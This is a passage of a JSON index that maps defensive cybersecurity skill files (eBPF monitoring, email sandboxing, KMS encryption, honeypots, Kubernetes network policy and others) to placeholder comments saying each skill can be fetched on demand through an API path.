Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ebpf-security-monitoring%2FSKILL.md -->","skills/implementing-ebpf-security-monitoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ebpf-security-monitoring%2Freferences%2Fapi-reference.md -->","skills/implementing-email-sandboxing-with-proofpoint/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2FSKILL.md -->","skills/implementing-email-sandboxing-with-proofpoint/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Fassets%2Ftemplate.md -->","skills/implementing-email-sandboxing-with-proofpoint/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Freferences%2Fapi-reference.md -->","skills/implementing-email-sandboxing-with-proofpoint/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Freferences%2Fstandards.md -->","skills/implementing-email-sandboxing-with-proofpoint/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Freferences%2Fworkflows.md -->","skills/implementing-end-to-end-encryption-for-messaging/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2FSKILL.md -->","skills/implementing-end-to-end-encryption-for-messaging/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Fassets%2Ftemplate.md -->","skills/implementing-end-to-end-encryption-for-messaging/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Freferences%2Fapi-reference.md -->","skills/implementing-end-to-end-encryption-for-messaging/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Freferences%2Fstandards.md -->","skills/implementing-end-to-end-encryption-for-messaging/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Freferences%2Fworkflows.md -->","skills/implementing-endpoint-detection-with-wazuh/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-detection-with-wazuh%2FSKILL.md -->","skills/implementing-endpoint-detection-with-wazuh/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-detection-with-wazuh%2Freferences%2Fapi-reference.md -->","skills/implementing-endpoint-dlp-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2FSKILL.md -->","skills/implementing-endpoint-dlp-controls/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Fassets%2Ftemplate.md -->","skills/implementing-endpoint-dlp-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-endpoint-dlp-controls/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Freferences%2Fstandards.md -->","skills/implementing-endpoint-dlp-controls/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Freferences%2Fworkflows.md -->","skills/implementing-envelope-encryption-with-aws-kms/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2FSKILL.md -->","skills/implementing-envelope-encryption-with-aws-kms/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Fassets%2Ftemplate.md -->","skills/implementing-envelope-encryption-with-aws-kms/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Freferences%2Fapi-reference.md -->","skills/implementing-envelope-encryption-with-aws-kms/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Freferences%2Fstandards.md -->","skills/implementing-envelope-encryption-with-aws-kms/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Freferences%2Fworkflows.md -->","skills/implementing-epss-score-for-vulnerability-prioritization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2FSKILL.md -->","skills/implementing-epss-score-for-vulnerability-prioritization/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Fassets%2Ftemplate.md -->","skills/implementing-epss-score-for-vulnerability-prioritization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Freferences%2Fapi-reference.md -->","skills/implementing-epss-score-for-vulnerability-prioritization/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Freferences%2Fstandards.md -->","skills/implementing-epss-score-for-vulnerability-prioritization/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Freferences%2Fworkflows.md -->","skills/implementing-file-integrity-monitoring-with-aide/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-file-integrity-monitoring-with-aide%2FSKILL.md -->","skills/implementing-file-integrity-monitoring-with-aide/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-file-integrity-monitoring-with-aide%2Freferences%2Fapi-reference.md -->","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2FSKILL.md -->","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Fassets%2Ftemplate.md -->","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Freferences%2Fapi-reference.md -->","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Freferences%2Fstandards.md -->","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Freferences%2Fworkflows.md -->","skills/implementing-gcp-binary-authorization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2FSKILL.md -->","skills/implementing-gcp-binary-authorization/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Fassets%2Ftemplate.md -->","skills/implementing-gcp-binary-authorization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Freferences%2Fapi-reference.md -->","skills/implementing-gcp-binary-authorization/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Freferences%2Fstandards.md -->","skills/implementing-gcp-binary-authorization/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Freferences%2Fworkflows.md -->","skills/implementing-gcp-organization-policy-constraints/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2FSKILL.md -->","skills/implementing-gcp-organization-policy-constraints/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Fassets%2Ftemplate.md -->","skills/implementing-gcp-organization-policy-constraints/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Freferences%2Fapi-reference.md -->","skills/implementing-gcp-organization-policy-constraints/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Freferences%2Fstandards.md -->","skills/implementing-gcp-organization-policy-constraints/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Freferences%2Fworkflows.md -->","skills/implementing-gcp-vpc-firewall-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-vpc-firewall-rules%2FSKILL.md -->","skills/implementing-gcp-vpc-firewall-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-vpc-firewall-rules%2Freferences%2Fapi-reference.md -->","skills/implementing-gdpr-data-protection-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2FSKILL.md -->","skills/implementing-gdpr-data-protection-controls/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Fassets%2Ftemplate.md -->","skills/implementing-gdpr-data-protection-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-gdpr-data-protection-controls/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Freferences%2Fstandards.md -->","skills/implementing-gdpr-data-protection-controls/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Freferences%2Fworkflows.md -->","skills/implementing-gdpr-data-subject-access-request/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-subject-access-request%2FSKILL.md -->","skills/implementing-gdpr-data-subject-access-request/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-subject-access-request%2Freferences%2Fapi-reference.md -->","skills/implementing-github-advanced-security-for-code-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2FSKILL.md -->","skills/implementing-github-advanced-security-for-code-scanning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Fassets%2Ftemplate.md -->","skills/implementing-github-advanced-security-for-code-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Freferences%2Fapi-reference.md -->","skills/implementing-github-advanced-security-for-code-scanning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Freferences%2Fstandards.md -->","skills/implementing-github-advanced-security-for-code-scanning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Freferences%2Fworkflows.md -->","skills/implementing-google-workspace-admin-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-admin-security%2FSKILL.md -->","skills/implementing-google-workspace-admin-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-admin-security%2Freferences%2Fapi-reference.md -->","skills/implementing-google-workspace-phishing-protection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2FSKILL.md -->","skills/implementing-google-workspace-phishing-protection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Fassets%2Ftemplate.md -->","skills/implementing-google-workspace-phishing-protection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Freferences%2Fapi-reference.md -->","skills/implementing-google-workspace-phishing-protection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Freferences%2Fstandards.md -->","skills/implementing-google-workspace-phishing-protection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Freferences%2Fworkflows.md -->","skills/implementing-google-workspace-sso-configuration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2FSKILL.md -->","skills/implementing-google-workspace-sso-configuration/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Fassets%2Ftemplate.md -->","skills/implementing-google-workspace-sso-configuration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Freferences%2Fapi-reference.md -->","skills/implementing-google-workspace-sso-configuration/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Freferences%2Fstandards.md -->","skills/implementing-google-workspace-sso-configuration/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Freferences%2Fworkflows.md -->","skills/implementing-hardware-security-key-authentication/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hardware-security-key-authentication%2FSKILL.md -->","skills/implementing-hardware-security-key-authentication/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hardware-security-key-authentication%2Freferences%2Fapi-reference.md -->","skills/implementing-hashicorp-vault-dynamic-secrets/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hashicorp-vault-dynamic-secrets%2FSKILL.md -->","skills/implementing-hashicorp-vault-dynamic-secrets/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hashicorp-vault-dynamic-secrets%2Freferences%2Fapi-reference.md -->","skills/implementing-hipaa-security-rule-safeguards/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hipaa-security-rule-safeguards%2FSKILL.md -->","skills/implementing-hipaa-security-rule-safeguards/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hipaa-security-rule-safeguards%2Fassets%2Ftemplate.md -->","skills/implementing-hipaa-security-rule-safeguards/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hipaa-security-rule-safeguards%2Freferences%2Fstandards.md -->","skills/implementing-honeypot-for-ransomware-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2FSKILL.md -->","skills/implementing-honeypot-for-ransomware-detection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Fassets%2Ftemplate.md -->","skills/implementing-honeypot-for-ransomware-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Freferences%2Fapi-reference.md -->","skills/implementing-honeypot-for-ransomware-detection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Freferences%2Fstandards.md -->","skills/implementing-honeypot-for-ransomware-detection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Freferences%2Fworkflows.md -->","skills/implementing-honeytokens-for-breach-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeytokens-for-breach-detection%2FSKILL.md -->","skills/implementing-honeytokens-for-breach-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeytokens-for-breach-detection%2Freferences%2Fapi-reference.md -->","skills/implementing-ics-firewall-with-tofino/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ics-firewall-with-tofino%2FSKILL.md -->","skills/implementing-ics-firewall-with-tofino/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ics-firewall-with-tofino%2Freferences%2Fapi-reference.md -->","skills/implementing-identity-governance-with-sailpoint/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-governance-with-sailpoint%2FSKILL.md -->","skills/implementing-identity-governance-with-sailpoint/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-governance-with-sailpoint%2Freferences%2Fapi-reference.md -->","skills/implementing-identity-verification-for-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2FSKILL.md -->","skills/implementing-identity-verification-for-zero-trust/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Fassets%2Ftemplate.md -->","skills/implementing-identity-verification-for-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Freferences%2Fapi-reference.md -->","skills/implementing-identity-verification-for-zero-trust/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Freferences%2Fstandards.md -->","skills/implementing-identity-verification-for-zero-trust/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Freferences%2Fworkflows.md -->","skills/implementing-iec-62443-security-zones/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iec-62443-security-zones%2FSKILL.md -->","skills/implementing-iec-62443-security-zones/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iec-62443-security-zones%2Freferences%2Fapi-reference.md -->","skills/implementing-image-provenance-verification-with-cosign/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2FSKILL.md -->","skills/implementing-image-provenance-verification-with-cosign/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Fassets%2Ftemplate.md -->","skills/implementing-image-provenance-verification-with-cosign/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Freferences%2Fapi-reference.md -->","skills/implementing-image-provenance-verification-with-cosign/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Freferences%2Fstandards.md -->","skills/implementing-image-provenance-verification-with-cosign/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Freferences%2Fworkflows.md -->","skills/implementing-immutable-backup-with-restic/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-immutable-backup-with-restic%2FSKILL.md -->","skills/implementing-immutable-backup-with-restic/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-immutable-backup-with-restic%2Freferences%2Fapi-reference.md -->","skills/implementing-infrastructure-as-code-security-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2FSKILL.md -->","skills/implementing-infrastructure-as-code-security-scanning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Fassets%2Ftemplate.md -->","skills/implementing-infrastructure-as-code-security-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Freferences%2Fapi-reference.md -->","skills/implementing-infrastructure-as-code-security-scanning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Freferences%2Fstandards.md -->","skills/implementing-infrastructure-as-code-security-scanning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Freferences%2Fworkflows.md -->","skills/implementing-iso-27001-information-security-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2FSKILL.md -->","skills/implementing-iso-27001-information-security-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Fassets%2Ftemplate.md -->","skills/implementing-iso-27001-information-security-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Freferences%2Fapi-reference.md -->","skills/implementing-iso-27001-information-security-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Freferences%2Fstandards.md -->","skills/implementing-iso-27001-information-security-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Freferences%2Fworkflows.md -->","skills/implementing-just-in-time-access-provisioning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2FSKILL.md -->","skills/implementing-just-in-time-access-provisioning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Fassets%2Ftemplate.md -->","skills/implementing-just-in-time-access-provisioning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Freferences%2Fapi-reference.md -->","skills/implementing-just-in-time-access-provisioning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Freferences%2Fstandards.md -->","skills/implementing-just-in-time-access-provisioning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Freferences%2Fworkflows.md -->","skills/implementing-jwt-signing-and-verification/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2FSKILL.md -->","skills/implementing-jwt-signing-and-verification/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Fassets%2Ftemplate.md -->","skills/implementing-jwt-signing-and-verification/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Freferences%2Fapi-reference.md -->","skills/implementing-jwt-signing-and-verification/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Freferences%2Fstandards.md -->","skills/implementing-jwt-signing-and-verification/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Freferences%2Fworkflows.md -->","skills/implementing-kubernetes-network-policy-with-calico/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2FSKILL.md -->","skills/implementing-kubernetes-network-policy-with-calico/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Fassets%2Ftemplate.md -->","skills/implementing-kubernetes-network-policy-with-calico/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Freferences%2Fapi-reference.md -->","skills/implementing-kubernetes-network-policy-with-calico/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Freferences%2Fstandards.md -->","skills/implementing-kubernetes-network-policy-with-calico/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Freferences%2Fworkflows.md -->","skills/implementing-kubernetes-pod-security-standards/SKILL.md":"<!-- Skill available on-demand via 